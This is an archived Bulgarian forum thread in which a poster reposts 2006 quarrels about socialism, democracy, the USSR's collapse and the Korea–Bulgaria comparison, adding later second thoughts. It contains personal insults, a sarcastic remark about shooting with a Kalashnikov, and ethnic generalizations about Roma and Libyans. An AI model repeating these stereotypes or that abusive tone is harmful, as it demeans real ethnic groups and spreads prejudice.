"Още нещо, понеже си голям фен и познавач на Джет Ли и неговото изкуство, още сега ще му пиша да направи филм, в който да демонстрира "стила на Татара", това ще бъде драма за едно момче, което иска да стане "Гесер-хан", ама става само "поСЕР-хан", разбирай..."
НОВИНА - Джет Ли вече спира да прави филми с Бойни изкуства и ще се отдаде на романтични филми. Затова предлагам аз, като по-навътре с китайския да му дам проектосценарий не за драма, а за ТРАГЕДИЯ как едно дебилче иска да стане Добруджанче, ама става само добруджански зоофил. Не е ли добра идейката? Добро затапване. Колкото до Джет Ли, по-сетне снима много филми с бойни изкуства, та онова може и да е било фейк новина или просто човекът да си е променил мнението
"Добруджански съм, да не ме пренебрегнеш пак..."
Това може да си го спестиш, ако се регнеш! Регистрацията дава някои предимства като например това да получаваш лични съобщения.
Тук има и някакви изображения, от онова време, но сега сигурно отдавна вече ги няма онлайн. Както и да е, прилагам, все пак, че нали е архивна тема - да има всичко, каквото е било и е запазвано.
[image]http://daobg.com/forum/uploads/av-861.gif[/image]
[image]http://mms.bitrings.com/dh/pic/big_pic/200508/1123224659_337.gif[/image]
-
Ами продължавам (с 2006-тови, разбира се) ;D
"Пастнах всичко, което си написал в задният ти постинг, не съм променял нищо, аз да не съм комунист!"
AMИ ТОВА Е НАГЛОСТТА НА АНТИКОМУНИСТИЧЕСКОТО ТЪПОГЛАВИЕ! Къде съм писал на латиница и съм бъркал МАРКСИЗМА, бе?! Точно пък, че си като западните фалшификатори, но нямаш тяхното ниво да направиш качествен компромат.
По-сетне се появиха и понятията за пост-истина, за фейкнюз (фалшиви новини) и пр., та нещата светнаха. Обаче доста неща наяве излезнаха и за източните фалшификации, та, с една дума - малко или повече, лъженето е голямо.
"1.А защо като СОЦИУМ, НЕЩАТА СЕ СРИНАХА?
Ако не бяха толкова стари и изгнили, нямаше да се сринат, не мислиш ли?"
СОЦИУМЪТ Е СТАР?! Ти знаеш ли какво е СОЦИУМ?!
"Никви одесaрчета не са ми промили мозъка. То няма с какво да ми го промият."
Ами ти така си мислиш. Стигат ти само песните на Васко Кръпката, дето огласяха митингите ви.
"А КАКВО ТИ ПРЕДЛАГА СЕГАШНАТА РЕАЛНОСТ? МОЖЕ ЛИ ДА ИЗБРОЯ МАЛКО?
- Циганите бият българите и се ползват с привилегии. Пояснявам, че става дума само за някои цигани; не бива да насаждаме омраза към всички. Има си и добри, трудещи се, учещи се цигани.
- Нараства наркоманията.
- Връщат се някои болести, които по времето на социализма бяха почти изкоренени.
- Поръчкови убийства между бизнесмени.
- Васалитет от Турция и САЩ."
ЕС-то също е предпоставка за ограничен национален суверенитет, малко или повече, обаче като се притеглят плюсове и минуси, видно е, че по-добре да си ограничен (самоограничен) в/от ЕС и дори от САЩ, в сравнение с днешните императоризиращи се и империализиращи се феодалноподобни алтернативи - Русия, Китай... Прекаленото си е прекалено.
........
-ДЕМОКРАЦИЯ. Само привидна. Ако се касае за нещо, което противоречи на интересите на шефовете - САЩ и Турция не се прави демокрация. Що нямаше референдум за ЕС, НАТО и АЕЦ? Ако това са ти критериите за демократичност, много се лъжеш. Казва му се "фасадна демокрация". Разбира се, в момента, трябва да признаем, макар и не идеална, има демокрация, доколкото има избори и дори нови, успешни политически партии; няма място за сравнение с Швейцария, но и няма място за сравнение с авториратизмите (неоимператоризмите, неоцаризмите)!
Относно референдумите - просветна ми, че не винаги са правилно решение - относно референдумите (http://www.seo-forum-seo-luntan.com/other-languages/am-a-ee-ktae/msg4274/#msg4274), понеже по-голямата част от хората не е компетентна по някои от важните въпроси. Разбира се, това не е демократично, обаче няма как ако повечето от хората не са компетентни - в такива случаи най-доброто е технокрацията + меритокрацията.
- ХЛЯБ /и кисело мляко! Основната храна на пенсионерите, които не си дояждат и мизеруват в голямата си част. Ами плодове и зеленчуци? Ами лекарства? Ти само хляб ли ручаш? Знаеш ли, че от еднообразна храна се умира, мой?/
-ПАЗАР. /И какво печели народът от това? Кого обслужва този пазар?/ Обслужва най-вече хората с пари.
-СИГУРНОСТ/ Хуморист!!!/ Сигурността си е един от най-големите проблеми.
-С В О Б О Д А!!! - ФИЗИЧЕСКА, МЕНТАЛНА И ДУХОВНА/ Менталната не ти е била ограничавана. Но ти сигурно не знаеш и какво е "МЕНТАЛЕН", та няма как да разбереш. ДУХОВНАТА е много голяма, ще знаеш! Засипват те с промиташки теории, вулгарни песни и пр., народът оскотява и се вулгаризира, а ти си мислиш, че е свободен. ФИЗИЧЕСКА - искаш ли, като си от Койнаре, да отскочиш до Плевен и да потърсиш някой от местните "неправителствени босове" като К.-К. (викат, че е излезнал от затвора и даже си е увеличил охраната) и К. Г.? Поприказвай си малко с тях, на каквато и да е тема, след което ще ти се стори не само Плевен и Койнаре тесничко, ами в цяла България. Имам предвид, че под подтиснически, императоризиран режим си е непоносимо да се живее, но и в демокрация, която допуска мафиотизиране в държавата също не е приятно.
Иначе гореспоменатите - не знам колко пъти влизаха-излизаха от затворите и дали въобще са още живи. Не следя криминалните новини отдавна.
-РАВНОПРАВИЕ /Още една смешка! Абе, "юристе", я ми кажи нещо за равните права и ВЪЗМОЖНОСТИ. Виждам те, примерно, и ти бия 2 шамара, пускам ти малко кръв от носа и те наритвам, причинявайки ти няколко "синки" (нали си фен на "синята идея"). Може би не си учил, но това е лека телесна повреда. Според сега действащото законодателство на територията на републиката България, можеш да заведеш само лично, гражданско дело. За тази цел се наема адвокат, който струва "майка си и баща си". Е, като нямаш пари, как ще го наемеш? Толкова за равните права. ОТ ДРУГА СТРАНА АЗ (нали в момента съм в ролята на лошия) СЪМ БОГАТ и даже и да намериш пари, продавайки 90% от покъщнината си , за да ми заведеш дело, си наемам 2-ма стабилни адвоката (като тези на Слави Трифонов, примерно, дето съдеха жълтата преса) и те доказват, че не само не съм те бил, ами съм:
а/ Късоглед, пеещ в хора на църквата
б/ Болен от 15 болести
в/ По време на побоя ти съм бил на хемодиализа!
За съжаление същото е положението и в Китай - за такива хипотетични леки телесни повреди не знам (а и не знам в момента колко са се изменили законодателствата), но например ако не ти върнат депозит, трябва да завеждаш дело в съда, а адвокатът иска пари колкото ти е депозита (или по-скъпо) и цялата идея за съдене се обезсмисля (ще дадеш урок на тези, които не ти връщат парите, но ще изгубиш същите или повече, както и време, нерви...) Та, ако някой си мисли, че в Китай е по-различно - да не се самозалъгва.
И пак на въпроса за хипотетичните леки телесни повреди, след като през 2006-та сме го били повдигали - в днешно време, с толкова много камери (видеонаблюдение) нещата са по-лесни и няма как да минават метър побойниците (както съм метафоризирал по-горе - ако са богати и способни да наемат добри адвокати), но чета, че при корупции, не в една и две държави, "трудно се намират" тези видеозаписи, та това работи само в държави (и конкретни места в тези държави), където няма корупция (чадъри).
ТОВА Е ПОЛОЖЕНИЕТО! ГАДНО Е, но още по-гадното е по такъв вулгарен начин да си мислиш, че е ОК!
-МЕЧТИ /АХА! ЕДНО ВРЕМЕ ДЕЦАТА МЕЧТАЕХА ДА СА КОСМОНАВТИ ИЛИ БАЛЕРИНИ, сега мечтаят да са престъпници и курвори на мутри. Влез малко в реалността, бе, пич!/ Битието определя съзнанието. Наистина, някои си мечтаят да стават мутри и мутреси. При войни, деца играят повече с играчки-оръжия и се "стрелят". Но, обективно погледнато, в днешно време, в България си има и нормални деца, които имат достойни мечти. Не бива да сме крайни и да казваме, че всички са мутроориентирани.
- ВОЛЯ ЗА РАЗВИТИЕ В ЛИЧЕН АСПЕКТ /Който се потъпква от реалността. А, отделно, ако мислиш, че преди не го е имало, значи няма как да обясниш толкова много български писатели, актьори, музиканти и др. дейци на науката и културата! А ТОГАВА ОБРАЗОВАНИЕТО БЕШЕ И БЕЗПЛАТНО!/ При безплатно образование и здравеопазване, човек има повече възможност да се развива личностно, а не да отделя толкова мислене, енергия и емоции за парите, които, обикновено, все не достигат.
-ПАРИИИИИ!!!! /ЦИНИК!!! Знаеш ли колко процента от българите са безработни и колко карат само на минимална раб. заплата, бе?/ Както и със сигурността, нещата и в това отношение не са се подобрили кой знае колко, доколкото знам.
-ОТГОВОРНОСТ /Да-да, Б. и К. по най-"отговорен" начин пребиха България! Да не говорим и Л. какво направи! Ама така е то по демократично време!/ Тук също може да се допълнят някои неща и да се признаят и добрите дела, не само да се критикува, но не ми се впуска в детайли от най-новата история.
-РАБОТА /Официално регистрираните безработни в България (само официално регистрираните), според данните на ЦРУ (надявам се, че вече си се убедил, че има такъв сайт) са 11,5 % ! По този показател България се нарежда на 112 масто в света! ДАЖЕ ИРАН е по-добре от БГ! Наравно с БГ е такава "развита държава" като Ямайка!
За сравнение как е работата в социалистическия свят:
ВИЕТНАМ - само 2,4 %
КИТАЙ - само 4,2 %
ЛАОС - само 5,7 %
КУБА - само 1,9 %
Северна Корея - N/A %
Либия - 30%,
т.е. само Либия се дъни, но то е поради специфичния й арабски характер. Там нямат желание да работят и учат, а предпочитат да живеят на помощи и да ползват чужди специалисти, въпреки идеалите на социализма не с всеки народ се получава. Даже Тодор Живков е открил, че африканците не могат да развиват лесно социализъм, ама пак добре, като за тях. Последното е от една реч на Т. Живков пред студенти по случай Студентския празник. Слушал съм я много пъти. Добре се аргументираше човекът.
А в днешно време, последно четох, че в България безработицата е 4,6%, което наистина не е много, но младежката безработица е висока.
За да сме обективни, посочвам че в днешно време в Китай след страшните грешки на императоризирания, нещата стигнаха до същото положение - безработица, младежка безработица, съсипани бизнеси, изнасящи се бизнеси, богаташи и всякакви с не чак толкова пари...
-ОБЕДИНЕНИЕ /ГЛУУУУУУУУУУУУУУПОСТИИИИИИИИИИИИИИИИИ. Ванго, ти наистина или нямаш връзка с реалността или вътре нещо в тебе се къса. Както се казва "няма връзка с гл. мозък". ;) АБЕ , МОЙТО МОМЧЕ, КАКВО ОБЕДИНЕНИЕ?!?!?! Нали точно СДС-то призна Македонията?!
Нали при демокрацията живна ОМО-то?
Нали по-рано хората се деляха само на ЛЕВСКИ-ЦСКА и на БЪЛГАРИ-НЕБЪЛГАРИ, сега се делят на ПАРТИИ! Вярно е, че политическото разделение е едно допълнително разделение, но при демокрацията е така и е нещо много по-добро, отколкото да те яхне само един авторитарист, да концентрира цялата власт в себе си и да те третира като бездушна единица.
-ЗАЩИТА /Без коментар!!! Ти защитен ли се чувстваш?/
-MИP!!! /ЦИНИК! За българското участие във войните с Югославия и Ирак нещо да кажеш? А влизането в НАТО, което по дифаулт, означава, че БГ влиза във всякакви военни конфликти, примерно в ИРАН, ако стане нещо или в СЕВЕРНА КОРЕЯ, СИРИЯ И ВЕНЦУЕЛА? Ти или си пиян, или си много необразован и с прекъснати връзки по някакви причини с реалността! Мир имало! Ти даже етнически мир нямаш, ве!/ За Сирия съм излезнал малко или повече пак визионер. Предусетил съм големите войни там.
Повтарям че след агресията на Русия, вече осъзнавам, че НАТО не е чак толкова лош избор, та го приемам вече като "Добре, че има НАТО, иначе всичко почти ще се погълне от руския неоимпериализъм!"
За етническия мир - от време на време има големи противопоставяния с ромски групи, та това имам предвид.
....ОБЕДИНЕНА ЕВРОПА! /Еквивалентче на СССР, ама в Съветския съюз не можаха да натикат БГ, но сега ще я натикат в ЕС. А ти си го пиши с големи букви. Екстазите, в които изпадаш няма да подобрят положението на България/. Е, обективно погледнато, имаше подобрения. Най-малкото, намериха реализация и българи, и небългари в страни от ЕС, имаше икономически облаги и пр. В смисъл, ако България беше останала извън ЕС, можеше и да има малко по-независима политика, но щеше да е на нивото на Сърбия или още по-зле, например на нивото на Молдова.
(Не търси тези неща в българия днес, все още родината ни не се е отърсила от мързела с, придобит по времето на комунизма, че видиш ли, държавата дава. "
Кои неща да не търся? Твоите изброени или моите изброени?
"Никoй няма да ти даде днес, ако ти сам не си го потърсиш."
ПРЕДПОЛАГАМ, ЧЕ НЕ ОБОРВАШ СЕБЕ СИ И ГОВОРИШ ЗА МОИТЕ ИЗБРОЕНИ НЕЩА.
ХА ДА ВИДИМ КАКВО СЪМ ИЗБРОИЛ И КАК ТРЯБВА САМИ ДА СИ ГО ПОТЪРСИМ! (Ако пък се окаже, че по някакъв шизофреничен начин си отрекъл твоите изброяванки ЩЕ ВИДИМ КАК ТРЯБВА САМИ ДА СИ ТЪРСИМ МИР, примерно!)
"Циганите бият българите и се ползват с привилегии. (КАК САМ ДА СИ ГО ПОТЪРСЯ?
ДА ВЗЕМА КАЛАШНИК И ДА СТРЕЛЯМ НАРЕД ЛИ? АМИ ПОСЛЕ ЩЕ МЕ ОСЪДЯТ И ЩЕ ЛЕЖА ДОЖИВОТНО! Това е много интересно в ЕС, че колкото и да убиеш, няма проблеми - все доживотно!) По онова време поддържах смъртното наказани, затова така съм го написал. Вече не. Обясних по-преди защо. За циганите - също обясних, не трябва да слагаме всички под общ знаменател.
- Нараства наркоманията.(ПО СЪЩАТА ЛОГИКА - ДА ТРЪГНА ДА ИМ ВЗЕМАМ НАРЕД ИГЛИТЕ И ДА БИЕ ДИЛЪРИТЕ ЛИ?)
- Връщат се някои болести, които по времето на социализма бяха почти изкоренени.
(ТОВА ОПРЕДЕЛЕНО МОЖЕ ДА ГО СВЪРШИ САМ ЧОВЕК ;) ).
- Поръчкови убийства между бизнесмени. (И ТОВА Е ЛЕСНО - просто ще им поговоря и те ще станат добри момчета, нали?)
-Васалитет от Турция и САЩ. (ТУКА СИ АБСОЛЮТНО ПРАВ, ЧЕ САМО ЕДИН ЧОВЕК МОЖЕ ДА СЕ ИЗПРАВИ СРЕЩУ ТУРЦИЯ И САЩ И ДА ГИ РАЗБИЕ! БРАВО, ВАНГО! ТОЧЕН СИ!).
" Основната ми мисъл е, че когато има големи проблеми, един човек не може сам да ги реши. За детайлите - уточних по-горе. Сега нещата са се поизменили, в някои отношения има подобрения, някои решения са били за добро, както се вижда, други - не чак толкова.
"А да си го потърсиш и да си го намериш, това значи да просперираш."
А, ако не го намериш, понеже не зависи от тебе, значи да деградираш, така ли идва?
"За гангстерите... Ами те си ги има още от тъмните години на Лyканов и Беров."
ДА, АМА ПО ТОВА ВРЕМЕ ЛУКАНОВ И БЕРОВ СИ БЯХА ДЕМОКРАТИЧНО ИЗБРАНИ В УСЛОВИЯТА НА ДЕМОКРАЦИЯ, ТАКА ЧЕ НЕ СИ МИСЛИ, ЧЕ СА КОМУНИСТИ! ПО ТАЗИ ЛОГИКА И АХМЕД ДОГАН Е КОМУНИСТ, КАКТО И ИВАН КОСТОВ!
"за това, кой създаде организираната престъпност в България не спори с мен, защото ще те разнищя:))."
НЕ Е ВАЖНО КОЙ Я Е СЪЗДАЛ, А ЗАЩО ПО ВРЕМЕТО НА СОЦИАЛИЗМА НЕ Я СЪЗДАВАХА! А И КАКВО ЩЕ КАЖЕШ ЗА НЕОРГАНИЗИРАНА, ТЯ СЕ УСЕЩА ДОСТА ПО-КОНКРЕТНО. НЕЯ СЪЩО Я ЛИПСВАШЕ ДОСТА!
"Все още в съзнанието на българина е загнездено отегчението и песимизма на комунизма."
ТАКА ЛИ, БЕ ЦАРЮ ЧЕСТИТИ? ТИ КАТО СИМЕОН ЩЕ ИЗКАРАШ ПРОБЛЕМИТЕ СУБЕКТИВНИ - "Гледайте положително!" :)))
"А ПРОМЕНИТЕ В ПАРАДИГМАТИКАТА НА НАУКАТА, ПРИМЕРНО?"
"НАУКА = ПОЛИТИКА? Аз за какво ти говоря, ти с какво ми отговаряш?"
АМИ ТИ КАЗВАШ, ЧЕ ВСИЧКО БИЛО В ЗАСТОЙ, А ПОЛИТИКАТА НЕ Е ВСИЧКО. САМО ПОЛИТИКАТА ЛИ СИ ИМАЛ ПРЕДВИД?
"Фатализмът на съветската система, бе в това, че бе негодна да създаде условия за реформи и развитие в икономическо-социален план."
В една ПОЛИТИЧЕСКА СИСТЕМА НЕ МОЖЕ ДА ИМА ФАТАЛИЗЪМ! Научи какво е фатализъм и после пак приказвай. Колкото до годността и негодността - защо по времето на Предгорбачовистите си се владееше положението и даже правеха САЩ и КИТАЙ да се съобразяват с тях, а сега са една от последните дупки на кавала сред Великите сили? Особено след провала в Украйна, Русия показа, че е по-зле от СССР не само военно, но и морално-политически.
"Все някога сиcтемата щеше да спре да функционира, и това някога се ускори от Перестройката, която всъщност бе историческа необходимост"
ХАХАХАХАХАХАХАХАХАХАХА!!!! ТОЧНО НА МАРКС ДУМИТЕ ЗА ИСТОРИЧЕСКАТА НЕОБХОДИМОСТ!!!! ХАХАХАХАХАХАХАХАХА!!! НА БАТЕ МАРКСОВОТО ФАТАЛИСТЧЕ!!!!
То според тази "историческа необходимост" трябваше да дойде КОМУНИЗМА! Отделно трябваше да има преход само феодализъм-капитализъм-социализъм, но МОНГОЛИЯ прескочи един етап и сега пък е в него! За историческа необходимост говорят само фаталистите, мой! Класическият Марксизъм си има дупки и ти си попаднал точно в най-голямата!
", поради факта, че народите в Блока и СССР вече разбираха проблемността на изгниващият комунизъм и искаха нов ред, нова политическа система, искаха промяна."
КОЛКО СИ НАИВЕЕЕЕЕЕЕЕЕЕЕН :) Абе , мойто момче, то не е кой какво иска, бе!
Те и сега:
- татари
- чеченци, (най-вече)
- алтайци
и какви ли още не ИСКАТ, АМА НЕ ИМ ДАВАТ!
В Унгария и Чехословакия искаха ли? ИСКАХА, АМА НЯМА! А ти си наивник, който смята, че исканията се удовлетворяват.
Имам предвид, че в повечето случаи не решава народът. Особено при тоталитарни, автократични, неоцаристки и неоимператорски режими.
"И нали знаеш: "Глас народен - глас Божии!""
ЗНАМ, че разговарям с човек, който няма връзка с реалността. Ако е така, нямаше да се налагат революциите, въстанията и пр.
Я ДА ТЕ ПИТАМ - КЮРДИТЕ ЩО НЕ МОГАТ ДА СИ НАПРАВЯТ ДЪРЖАВА - НИТО В ТУРЦИЯ, НИТО В ИРАН, НИТО В ИРАК? Или те са неми и Бог не ги чува? А, фаталисте?
"Подкупиха сигурно? Ти на коя планета живееш, бе бате Гошко? Това бе СССР - най-голямата и най-мощната империя на планетата, съществувала някога!"
КОЕТО НЕ ЗНАЧИ, ЧЕ ЕДИН ОТ ЛИДЕРИТЕ НЕ МОЖЕ ДА Е АЛЧЕН! А, КОЙТО СЕ СЪММНЯВА В ПОДКУПА НА ГОРБИТО Е НАИСТИНА ОТ ДРУГА ПЛАНЕТКА (това като евфемизъм относно мнестичните му заложби). Явно е ставало дума за теорията, че Горбачов е бил подкупен от САЩ... всъщност по-сетне имаше и друга, по-реалистична теория, че Горбачов просто е бил много наивен. Той сам си казваше това-онова в този дух по-сетне.
"Едното е реално състояние на един акт, една система, една империя, а другото е ... чувство или идея."
ГОВОРИШ ГЛУПОСТИ! Провери пак!!!
"Аз ти говоря за икономиката."
АМИ ХУБАВО! КАКВО ОБЩО ИМА ЧУВСТВАНЕТО С НЕЯ? (Оставяме на страна Лазаревизма и подобни философии, говорим си според нивото на сегашната официална наука). И лазаревизма наистина се оказа ненаучен (недоказано научен), та добре че сме го оставили.
"То ако става звъпрос за това, днес Русия също си държи челните позиции в света по военна сила, но по икономика..."
АМИ ИМЕННО, БЕ, СЛАДУР! ТЯ СЕГА Е ПО-ЗЛЕ И ОТ ПРЕДИ! И МНОГО ИМА НЕДОВОЛНИ! АМА СТАНА ТОТАЛИТАРНА, ПРЕЗИДЕНТСКА РЕПУБЛИКА И НЯМА ЛАБАВО! ХАЙДЕ ПАК ДА ТИ ДАМ ПРИМЕРА С ЧЕЧНЯ! Ох, на бате фаталистчето!
А вече не прилича и на република (федерация, де), а по-скоро на неоцаристка империя.
"Ти сам го каза защо - лагери, разстрели..."
АМИ КАЗАЛ СЪМ ГО! С КОЕТО ИСКАМ ДА ТИ ПОКАЖА, ЧЕ ТЪПОТИИ ОТ ТИПА НА - "Историческа предопределеност", "Историческа необходимост", "Глас Божий" са за наивници. Всичко е в силата, мощта, контрола. Горбачов олаби и стана мазалото! Милошевич, поне, се опита! И ЗА МАЛКО ДА УСПЕЕ, ПОНЕ С КОСОВО, ако не бяха съюзниците на албанските бандити - НАТО! Ами, че то за такива неща не се иска голяма философия, бе, Ванго! Помисли малко кой успява и кой не! За албанските бандити - имам предвид онова, което се говореше по онова време, а и по-сетне се доказа - Хашим Тачи бил свързан с трафик на органи и наркотици, примерно. Има онлайн материали, който иска да търси подробности, преди малко проверих, за да съм коректен.
"с една дума да живееш в страх. Хората не искат да живеят 100 години в страх, бате Гошко."
АМИ ТЕ НЕ ИСКАХА МНОГО ДЪЛГО ВРЕМЕ, АМА НЕ Е КАКВОТО ИСКАТ, А КАКВОТО РЕШАТ ОТГОРЕ. ЗА ГОРБАЧОВ - УСПЯХА ДА МУ ОПРЕДЕЛЯТ ПОВЕДЕНИЕТО С ПАРИЧКИ И ТОЙ ГИ РАЗПУСНА! Ти не знаеш, че е пълен наивитет да мислиш, че винаги народните маси могат да свалят властта. ОЩЕ ЕДИН ПРОПУСК, НАСАДЕН ТИ ОТ МАРКСИЗМА, КОЙТО ТИ СИ ОВЛАДЯЛ В НЯКОИ ПУНКТОВЕ НЕСЪЗНАТЕЛНО! Обяснението на историческите процеси с НЕСУБЕКТИВНИЯ ФАКТОР - народните маси си е чиста марксистка заблуда! Преодолявай грешките, като си марксист, развивай марксизма творчески, а не да си ми такъв догматик! Ти, наистина, ако си дадеш сметка, че повтаряш Маркс по цели 2 пункта и то основни, ще умреш от срам пред себе си! Ако не вярваш - питай някой друг (понеже е далеч от мисъта ми, че ще прочетеш). Ами имал съм предвид, че рядко са чистите народни революции и чистите демокрации, където наистина народните маси (и то не 100% от тях, а една надделяваща част) ще решат нещата в своя полза.
"Това влияе много на психиката."
АМА ЗНАЕШ ЛИ КОЛКО МУ ПУКА НА КПСС, ЧЕ ПСИХИКАТА Е ПОВЛИЯНА?! То, ако се интересуваха от волята на народа и психическите промени, нямаше да правят толкова проблеми с ТАТАРИТЕ И КОРЕЙЦИТЕ в УЗБЕКИСТАН (по съветско време, де, сега с Каримов е поносимо).
"Кои са другите възможности, бе бате Гошко?"
Ти сериозно ли? Значи, ако нещо се случи е имало само една възможност?!
Ти бъркаш АКТУАЛИЗИРАНА ВЪЗМОЖНОСТ с многото възможности! Веднага ти отговарям - има поне 10 други възможности, който не са се актуализирали! Примерно да се спъне, но да не падне. Да не се спъне, понеже е заобиколил спънката. Да не се спъне понеже са го спрели и са го викнали в обратна посока. Дори е можело него ден да е болен и да не е можел да стане от леглото!
Ама как пък трява да ти обяснявам дребни работи!
"ЯЗЪК, ЧЕ СЕ ПИШЕШ ЗА УЧЕН! И нито един факт да не поднесеш в тоя твой нелогизъм?"
"ЯЗЪК" е тюркска дума и значи "ЖАЛКО". Да, много е жалко това, че говоря с тебе и сигурно по-умните хора (а да не говорим за колегите-философи) ми се смеят на акъла!
Моля те, давам ти още един шанс да научиш БГ-историята, ОК?
Наистина, ех, доста прахосано време в разоговори, но поне тази запазена малка част от тях, може да се приложи за благото на този форум!
"ХЕХЕХЕ!:))) На това яко се смях!"
Ами щото нямаш познания. Ти и за Либия се смя, ама от ЦРУ-то ти показаха кое какво е. После се усъмни, че има и сайт на ЦРУ, ама и по това ти затвориха устата. Така че, ако искаш смей се, плачи, ридай, гневи си, ама не го описвай тука, за да ти се смеят хората!
"От къде ти дойде на акъл да сравняваш Източна Румелия - Княжество България с проблема на Кореите???"
Този испански въпросителен знак, обърнат с главата надолу (явно е ползвал без да иска "¿", но не съм го запазил) никак не се връзва в БГ-тестовете, да знаеш. А сега да ти кажа за Княжество България и Източна Румелия и приликите им със Северна и Южна Корея:
1. Географски - едното е на север, другото на юг.
2. Етнически - съдържат един и същи народ.
3. Политически - системите на управление, международния статус и признаването им за субект на международното право са нееднакви.
4. Северът е свободен в по-голяма степен от югът, който е зависим от Турция/САЩ/НАТО (вече).
5. Северът в правото си напада юга.
Пояснявам - малко грешки от онова време - Южна Корея не е в НАТО, но се съобразява със САЩ (а и няма много избор, предвид с какви съседи е).
Не мисля, че някой е "в правото си" да напада когото и да е. Вземам си думите назад, че Северът напада в правото си. Всички обединения трябва да стават мирно, по германския образец.
Единствената разлика е, че Северът на Корея не можа да победи напълно. А Северът на България (благодарение на външна подкрепа) успя, както и малко на собствените си сили.
"1. Война между Княжество България и Източна Румелия НЕ Е ИМАЛО."
а/ Има военен преврат осъществен от Чардафон Велики и майор Николаев, които са български военни агенти.
б/ Има война със Сърбия, която се позовава на международното право и договора.
"2.В Източна Румелия и Княжеството не е имало нито една чужда военна сила!"
В Княжеството може и да е нямало, но Източна Румелия е била ВАСАЛЧЕ на Турция, както сега е Южна Корея на САЩ. Схващаш ли?
"3.Разделението на 2-те Българии е извършено не поради идеологически мотив."
ХА! Че ти да не мислиш, че Кореите са разделени по само този мотив! Нали преди Япония владее полуострова и просто на границата се срещат победилите - от една страна СССР, КИТАЙ И МОНГОЛИЯ, от ДРУГА САЩ и съюзниците! Въпросният паралел, да ти говори нещо?
"Май ти сънуваш... Имало е, разбирас се!"
Да бе!
_______
"Извънредна! Специална!
За Др. Сталин
Ким Ир Сен помоли да предам: за настъплението и десанта ни трябват кораби. Пристигнаха 2 кораба, но екипажите не супяха да ги подготвят. Моли се да се използват на корабите 10 съветски съветници..
20. юни 1950 г. Щиков*"
*Щиков - съветски посланник в Пxенян по това време
(стр.208,"Семъ вождей" Дмитрий ВОЛКОГОНОВ, АО "Новости", Москва;1995)
____________
ВАНГО, КОРАБИТЕ САМОЛЕТИ ЛИ СА?! Ти си бил мноооооооооооооого зле! Аз ти говорех май за авиацията нещо.
"постави Белорусия срещу Украйна, Литва, Латвия, Естония, Молдова, Полша, Чехия, България, Румъния, Словакия? За Германия (ГДР-то) няма да споменавам, че ще ти стане мъка:)"
с количество не можеш да се измъкнеш от неудобния пример - БЕЛОРУСИЯ, която доказва ОСЪЩЕСТВЯВАНЕТО НА ВЪЗМОЖНОСТ, КОЯТО ТИ ОТРИЧАШ!
Все едно да си говорим за това, че се умира от кучешка тения, а ти да ми кажеш, че не се умира и аз да ти дам пример с 3-ма души, а ти да ми кажеш, да, ама има 13 дето не са умрели! Чаткаш ли?
"Жестоко е за теб, че не я разбирам , както ти я разбираш, и не съм единственият, който я разбира като мен, а?:)"
Жестокото е, че си един от най-недоучилите в този форум, барабар с Горския. Даже турчинът е по-подплатен със знания от вас двамцата!
---
Ти си трепач! Убиец! Разбивач!...НА всякакъв интелектуален диалог. Определено си на път да ме откажеш да споря с теб, понеже... за пръв път попадам на доказан студент, който прави такива детски грешки...
ПРОСТО НЕ МОГА ДА ПОВЯРВАМ, човече!
Политиката е всичко. За това се нарича "поли". да не ти обяснявам за структурата на политиката в обществото и неговото съзнание, че ще трябва да ти пиша до утре.
Mиличък мой Ванго..."ПОЛИТИКА" идва не от "ПОЛИ",а от "ПОЛИС", което значи ГРАД-ДЪРЖАВА!!! Няма нищо общо с "поли"("много"). Освен това, ако е за "ВСИЧКО", ще е "ПАН-", а не "ПОЛИ-" (пак от гръцки). Просто не е истина, че правиш такива грешки!!!!!
....Смях се. Разсъждаваш като едно хлапе на 10 год. Тези 10 твой възможности са нелогични и нереални, съществуват само като предположения в главата ти. Тук става въпрос за история, за факти, за реалност. неуспешният преврат на КПСC е нещо като да искаш да спасиш от пламъците на огъня любимата ти книга, но да не можеш... защото когато си вкарашй ръката в огъня - боли. Обяснявам ти го, както виждаш както трябва да ти се обяснява - като на 10-годишно.
БРАВО И ЗА ТАЗИ ПРОЯВА
на абсолютното ти невежество.В нея ти само с няколко изречения отхвърли трудовете на най-авторитетните диалектически онтолози като Алкесандър Андонов, чийто пример ти бях цитирал в приемлива за тебе форма! Наистина си един от най-неграмотните хора, които съм срещал.
Впрочем, гледах по новините оня ден (на РТР), че Путин бил в Белорусияна посещение. Предупредил е президента на Белорусия да не се отнася безотговорно към опозицията, защото те съсято са част от народа му... за да не стане същото, както стана в Украйна преди година и нещо...
Понеже Белорусия разбива на пух и пах твърденията ти, сега започваш да си мечтаеш, че в бъдеще можело така или иначе. Толкова ли можеш?
Можеби не вярваш в правото на свобода на личността и за това отвръщаш на всякаква неправдивост с агресия, което е абсолютно неправилно и нелогично. насилието поражда насилие. А ти можеш ли да ми обясниш, защо "циганите бият българите"? Не си ли чувал нещо за причина и следствие?
Това го оставам на теб, тук сме във форум по история и аз ти говоря с факти, дати, цифри, документи, а ти - с философски нелогизми.
Детенце, ако наистина искаш да станеш юрист, ще разбереш, че освен ПРАВА има и ЗАДЪЛЖЕНИЯ. Когато не се спазват задълженията се ОГРАНИЧАВАТ И ПРАВАТА.
Насилието пораждало насилие? АМИ ДАЙ ТОГАВА ДА НЯМА НЕ САМО СМЪРТНО НАКАЗАНИЕ, АМИ ВСЯКАКВИ НАКАЗАНИЯ, ПОНЕЖЕ ТЕ СА НАСИЛИЕ? ТИ НАИСТИНА ЛИ СИ ВЯРВАШ ИЛИ ПИШЕШ КОЛКОТО ДА НЕ ЗАСПИШ, БЕ, ДЕТЕ?!
ПРИЧИНА И СЛЕДСТВИЕ ПРИ ЦИГАНИТЕ?
Дечко, драги, аз съм чувал и учил за тези неща, но ти не си. АБсолютно си не в час с всякаква диалектика на възможност, актуализация, потенция, действителност, причина, следствие и пр. ЗНАЕШ ЛИ, ЧЕ ПРИЧИНИТЕ БИВАТ ВЪНШНИ И ВЪТРЕШНИ? А знаеш ли, че има не само ПРИЧИНА, НО СЪЩО - ОСНОВАНИЕ И ПОВОД?
Знаеш ли, че ромите често си търсят само ПОВОДИ, но нямат реални ПРИЧИНИ за насилие срещу вас?
